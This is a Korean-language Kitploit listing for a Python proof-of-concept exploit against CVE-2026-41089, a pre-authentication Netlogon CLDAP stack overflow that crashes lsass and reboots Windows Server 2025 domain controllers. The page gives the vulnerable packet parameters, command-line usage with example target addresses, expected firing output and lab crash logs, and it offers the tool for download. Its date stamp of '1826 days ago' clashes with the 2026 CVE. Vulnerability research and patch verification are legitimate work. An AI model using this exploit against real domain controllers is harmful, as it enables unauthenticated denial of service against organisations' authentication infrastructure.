Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41089-PoC — CVE-2026-41089 LongLogon: 패치되지 않은 Windows Server 2025 Netlogon(lsass 0xc0000409)을 대상으로 하는 사전 인증 CLDAP(UDP/389) 스택 버퍼 오버플로 크래셔. 표준 라이브러리만 사용하는 Python PoC + 실습 환경 분석 문서. | Kitploit
도구/GitHubGitHub/1posix/cve-2026-41089-poc
Vulnerability AnalysisExploitationNetwork SecurityPenetration TestingRed Teaming
GitHub1posix/cve-2026-41089-poc

CVE-2026-41089-PoC

CVE-2026-41089 LongLogon: 패치되지 않은 Windows Server 2025 Netlogon(lsass 0xc0000409)을 대상으로 하는 사전 인증 CLDAP(UDP/389) 스택 버퍼 오버플로 크래셔. 표준 라이브러리만 사용하는 Python PoC + 실습 환경 분석 문서.

저장소 보기
1826일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-41089 — LongLogon (크래셔 PoC)

Windows Server 2025의 Netlogon 서비스에서 발생하는 인증 전 스택 버퍼 오버플로우입니다. 네트워크상의 어떤 호스트에서든 단일 CLDAP 패킷(UDP/389) 하나면 충분합니다: lsass.exe가 STATUS_STACK_BUFFER_OVERRUN(0xc0000409)으로 종료되고 도메인 컨트롤러가 재부팅됩니다.

  • 구성 요소: netlogon.dll, NlGetLocalPingResponse / BuildSamLogonResponse
  • 벡터: UDP/389 패킷 하나, 인증 불필요
  • 영향: DoS (lsass.exe 크래시, DC 재부팅)
  • 패치된 버전: 빌드 10.0.26100.32772 이상

동작 방식

Netlogon CLDAP ping에 대한 응답은 528바이트 스택 버퍼에 직렬화됩니다. 서버는 자신의 이름(포리스트, 도메인, 호스트 이름)을 쓴 뒤 공격자가 제어하는 User 필드(최대 130 와이드 문자)를 씁니다. 총 채움량이 536바이트(버퍼 + 스택 쿠키)에 도달하면, 후행 L'\0'이 /GS 쿠키를 덮어쓰고 프로세스가 크래시합니다.

NtVer 필드가 코드 경로를 결정합니다: 0x02는 취약한 BuildSamLogonResponse를 타고, 0x06 / 0x16은 경계가 지정된(안전한) BuildSamLogonResponseEx를 탑니다. 이 PoC는 NtVer = 0x02를 전송합니다.

요구 사항

  • 패치되지 않은 Windows Server 2025 DC: netlogon.dll < 10.0.26100.32772
  • 예상 채움량(User=130)이 536바이트 이상에 도달하도록 긴 DNS 도메인. Windows Server 2025는 AD 도메인 이름을 64자로 제한합니다; 63자 호스트 이름과 함께라면 측정된 채움량은 581바이트(크래시 보장)입니다. 더 짧은 조합(예: 533바이트)은 경계선상입니다.
  • 공격 호스트에서 UDP/389에 도달 가능
  • Python >= 3.9 (표준 라이브러리만 사용, 의존성 없음)

사용법

python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]

--dry-run User=1(무해)로 프로브하고 예상 채움량을 표시하며, 발사하지 않음 --shots N 전송할 오버플로우 패킷 수 (기본값 1) --confirm-wait S 무응답 발사 후 재프로브 전 대기 시간 (기본값 75초) --force 예상 채움량이 536바이트 미만이어도 발사

예시 (IP와 도메인을 실습 환경 값으로 교체하세요):

python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example

발사 시 예상 출력:

[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
    shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)

종료 코드: 0 크래시 가능성 높음, 1 초기 프로브에서 DC 무응답, 2 채움량이 536바이트 미만(경계선), 3 DC 생존.

참고: 스크립트가 75초 후 재프로브하는 이유는 단일 무응답 패킷이 손실된 UDP 데이터그램일 수도 있기 때문입니다. 무응답만으로 크래시를 단정하지 마세요.

사전 조건 확인 (비파괴적)

연구 저장소의 공식 검사기를 사용하세요. User=1로 프로브하므로 DC는 계속 살아 있습니다:

git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>

예상 결과: 최소 536바이트의 예상 채움량과 함께 "PRECONDITION MET".

검사기는 패치 상태를 증명하지 않습니다: 패치된 DC도 동일한 코드 경로를 타고 단지 과도하게 긴 쓰기를 거부할 뿐입니다. DC에서 netlogon.dll 버전을 직접 확인하세요 (< 10.0.26100.32772 = 취약).

크래시 후 확인

DC에서, 다시 부팅된 후:

(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5

이벤트 1000을 찾으세요: 오류 발생 애플리케이션 lsass.exe, 오류 발생 모듈 netlogon.DLL, 예외 코드 0xc0000409, 그리고 발사 시각보다 늦은 부팅 시간.

실습 결과

Windows Server 2025, lsass.exe 10.0.26100.7309, netlogon.dll 10.0.26100.32230(패치되지 않음), 64자 도메인 + 63자 호스트 이름(예상 채움량 581바이트)에서 테스트했습니다. 패킷 하나 발사:

    Application Error (Id 1000):
      Faulting application: lsass.exe, version: 10.0.26100.7309
      Faulting module:    netlogon.DLL, version: 10.0.26100.32230
      Exception code:     0xc0000409        (STATUS_STACK_BUFFER_OVERRUN)
      Fault offset:       0x000000000002399d

    LastBootUpTime: 17:19:42   (crash logged at 17:18:37)

참고 사항

  • 기본적으로 RCE가 아닌 DoS입니다: /GS 쿠키가 반환 주소에 도달하기 전에 오버플로우를 제어된 크래시로 바꿉니다. User 필드는 완전히 공격자가 제어하므로, 이론적으로 코드 실행으로 이어질 수 있는 경로입니다.
  • 경계선 구간: 채움량 528~535바이트 사이에서는 크래시가 보장되지 않습니다(실습 측정: 535 B = 6/6 크래시, 534 B = 0/6).
  • 크래시는 비멱등적입니다: 발사 전에 DC의 스냅샷을 찍으세요.
  • 크래시 후 DC는 Netlogon DBFlag 0x2080FFFF(복구 모드)로 돌아올 수 있으며, 이는 lsass 크래시 후 정상입니다.

면책 조항

이 PoC는 교육 및 연구 목적으로만 제공됩니다. Windows Server 2025의 격리된 실습 환경에서 개발 및 테스트되었습니다. 사용에 따른 책임은 사용자에게 있습니다.

이 스크립트를 사용함으로써 귀하는 작성자가 데이터 손실, 서비스 중단, 하드웨어 손상 또는 기타 직접적·간접적 결과에 대해 책임지지 않는다는 데 동의하는 것입니다. 크래시는 비멱등적입니다: 대상 도메인 컨트롤러가 재부팅됩니다. 발사 전에 스냅샷을 찍으세요.

이 PoC가 프로덕션 환경이나 모든 Windows Server 2025 빌드에서 작동한다는 보증은 없습니다.

참고 자료

  • 연구 및 검사기: https://github.com/ADScanPro/CVE-2026-41089-LongLogon
  • 분석 글: https://adscanpro.com/blog/patch-diffing-cve-2026-41089-netlogon
도구 다운로드